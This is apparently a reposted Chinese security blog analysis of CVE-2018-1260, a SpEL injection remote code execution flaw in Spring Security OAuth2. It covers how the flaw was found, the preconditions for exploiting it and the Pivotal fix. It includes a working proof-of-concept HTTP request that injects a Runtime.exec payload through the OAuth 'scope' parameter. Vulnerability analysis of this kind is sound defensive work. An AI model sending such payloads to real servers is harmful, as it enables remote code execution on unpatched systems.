谨防Magic SpEL – Part 2(CVE-2018-1260)

综合编程 2018-06-21 阅读原文

前言

这里我们将对Spring Security OAuth2(CVE-2018-1260)中类似的RCE漏洞进行练习。我们将介绍攻击目标,它的发现方法和利用所需的条件。此漏洞也与2016年披露的另一个漏洞有相似之处。我们将在我们分析修复的部分讨论这种相似性。

分析潜在的漏洞

这一切都始于Find Security Bugs的bug模式SPEL_INJECTION的报告。

它报告SpelExpressionParser.parseExpression()中动态参数的使用,也是我们先前漏洞中使用的相同API。表达式解析器用于解析置于大括号 $ {...} 之间的表达式。

public SpelView(String template) {
    this.template = template;
    this.prefix = new RandomValueStringGenerator().generate() + "{";
    this.context.addPropertyAccessor(new MapAccessor());
    this.resolver = new PlaceholderResolver() {
        public String resolvePlaceholder(String name) {
            Expression expression = parser.parseExpression(name); //Expression parser
            Object value = expression.getValue(context);
            return value == null ? null : value.toString();
        }
    };
}

控制器类WhitelabelApprovalEndpoint使用此SpelView类构建OAuth2授权流程。SpelView类将名为“template”的字符串(见下面的代码)认定为Spring表达式。

@RequestMapping("/oauth/confirm_access")
public ModelAndView getAccessConfirmation(Map model, HttpServletRequest request) throws Exception {
   String template = createTemplate(model, request);
   if (request.getAttribute("_csrf") != null) {
      model.put("_csrf", request.getAttribute("_csrf"));
   }
   return new ModelAndView(new SpelView(template), model); //template variable is a SpEL
}

在方法createTemplate()和createScopes()之后,我们可以看到属性“scopes”被附加到HTML模板中,该模板将被认定为一个表达式。绑定到模板的唯一模型参数是CSRF token。但是,CSRF token不受远程用户的控制。

protected String createTemplate(Map model, HttpServletRequest request) {
   String template = TEMPLATE;
   if (model.containsKey("scopes") || request.getAttribute("scopes") != null) { 
      template = template.replace("%scopes%", createScopes(model, request)).replace("%denial%", "");
   }

[...]

private CharSequence createScopes(Map model, HttpServletRequest request) {
   StringBuilder builder = new StringBuilder("
    "); @SuppressWarnings("unchecked") Map scopes = (Map) (model.containsKey("scopes") ? model.get("scopes") : request .getAttribute("scopes")); //Scope attribute loaded here for (String scope : scopes.keySet()) { String approved = "true".equals(scopes.get(scope)) ? " checked" : ""; String denied = !"true".equals(scopes.get(scope)) ? " checked" : ""; String value = SCOPE.replace("%scope%", scope).replace("%key%", scope).replace("%approved%", approved) .replace("%denied%", denied); builder.append(value); } builder.append("
"); return builder.toString(); }

此时,我们不确定scopes属性是否可以由远程用户控制。虽然属性(req.getAttribute(..))表示存储在服务器端的会话值,但scope是OAuth2流的可选参数部分。

该参数可以被用户访问,并被保存到服务器端的属性中,最终加载到之前的模板里。

在对文档和一些测试进行了研究之后,我们发现“scopes”是隐式OAuth2流的GET参数部分。因此,隐性模式将是我们易受攻击的应用程序所必需的。

猜想验证和局限性

在测试我们的应用程序时,我们意识到scopes的验证是基于用户定义的scopes白名单的。如果配置了这个白名单,我们就不能随意创造scopes参数。如果scopes没有被定义,则不会对其进行验证。这种局限性可能会使大多数Spring OAuth2应用程序依旧安全。

第一个请求使用scopes ${1338-1} ,见下图。根据回应,我们现在确认scopes参数的值可以被SpelView表达式的执行。

第二个测试是使用表达式 $ {T(java.lang.Runtime).getRuntime().exec(”calc.exe“)} 来验证表达式不限于简单的算术运算。

为了更容易再现,这里是之前截下的http请求原始数据。某些字符(主要是花括号)不受Web容器支持,需要进行URL编码以访问应用程序。

{ ->%7b

POST /oauth/authorize?response_type=code&client_id=client&username=user&password=user&grant_type=password&scope=%24%7bT(java.lang.Runtime).getRuntime().exec(%22calc.exe%22)%7d&redirect_uri=http://csrf.me HTTP/1.1
Host: localhost:8080
Authorization: Bearer 1f5e6d97-7448-4d8d-bb6f-4315706a4e38
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 0

分析修复代码

Pivotal团队选择的解决方案是用简单的视图替换SpelView,并进行基本的级联。

这消除了SpEL执行的所有可能路径。第一个补丁提出了一个潜在的XSS漏洞,但幸运的是,在该漏洞被公开前已经被修复。scopes值现在可以正确转义并且不受任何注入影响。

更重要的是,该解决方案提高了另一个终端的安全性:WhitelabelErrorEndpoint。该终端也不再使用Spel View。它在2016年被发现容易遭受同样的攻击。Spring-OAuth2也使用SpelView类来构建存在漏洞的页面。有趣的是,模板参数是静态的,但绑定到模板的参数是递归执行的。这意味着模型中的任何值都可能导致远程代码执行。

该递归执行通过向表达式边界添加随机前缀来修复。这个模板的安全性现在依赖于6个字符的随机性(6的62次方个可能性)。一些分析师对这种修复方案持怀疑态度,如果做了足够的尝试,就会增加风险。但是,现在这不再是一种可能性,因为SpelView也被从此终端删除。

SpelView类也存在于Spring Boot中。这个实现有一个自定义的解析器来避免递归。这意味着尽管Spring-OAuth2项目不再使用它,但其他组件或专有应用程序可能会重用(复制粘贴)此实用程序类以节省一些时间。出于这个原因,在查找安全漏洞中引入了一种寻找SpelView的新探测器。探测器不会查找特定的包名称,因为我们假定应用程序可能具有SpelView类的副本,而不是对Spring-OAuth2或Spring Boot类的引用。

局限性和利用

我们鼓励您保持所有Web应用程序的依赖项保持最新。如果由于任何原因你必须推迟更新,以下是漏洞具体的利用条件:

1.在依赖关系树中有Spring OAuth2

2.用户必须启用隐式模式,它可以与其他授权类型一起启用

3.scope列表需要为空(未明确设置为一个或多个元素)

好消息是,并非所有OAuth2应用程序都会受到攻击。为了指定任意范围,攻击者的用户配置文件需要有一个空的scope列表。

总结

这是SpEL注入漏洞系列的第二篇也是最后一篇文章。我们希望它为这个不太常见的漏洞类别提供了一些信息。

正如前面在第1部分中提到的,在您自己的应用程序中找到这个漏洞不太可能。它更可能出现类似于Spring-Data或Spring-OAuth的组件。如果您是Java开发人员或负责审计Java代码以确保安全的人员,则可以使用Find Security Bugs(我们用来查找此漏洞的工具)扫描您的应用程序。

参考

https://pivotal.io/security/cve-2018-1260

https://pivotal.io/security/cve-2016-4977

https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html

http://find-sec-bugs.github.io/bugs.htm#SPEL_INJECTION

审核人:yiwang 编辑:边边

安全客

责编内容by:安全客阅读原文】。感谢您的支持!

您可能感兴趣的

Spring Integration and XSLT with parameters I have had the opportunity to use Spring Integration to execute the XSLT on the projects I've been on. It is actually quite easy and very fast. It all...
Spring入门看这一篇就够了 前言 前面已经学习了Struts2和Hibernate框架了。接下来学习的是Spring框架...本博文主要是引入Spring框架... Spring介绍 Spring诞生: 创建Spring的目的就是用来 替代更加重量级的的企业级Java技术 简化Java的开发...
知识点:spring 完全手册 什么是spring spring是一个开源框架,为简化企业级开发而生,使用spring可以使简单的java bean 实现以前只有EJG才能实现的功能。 Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。 spring的特点 ◆ 轻量——从大...
Run a Spring Batch Job With Quartz Hey, folks. In this tutorial, we will see how a Spring Batch job runs using a Quartz scheduler. If you are not sure about the basics of Spring Batch,...
51一面面经 一共面了三十分钟,面试官的问题既有广度又有深度,你说的深入他能问的更深入,一直锤到你不会为止。能不能过还不好说,因为有几题完全不知道。 面经如下: 项目相关 请求类型除了get post还用过什么,用在什么地方,用get/post不是都可以去实现么,为什么要多出来这些请求(r...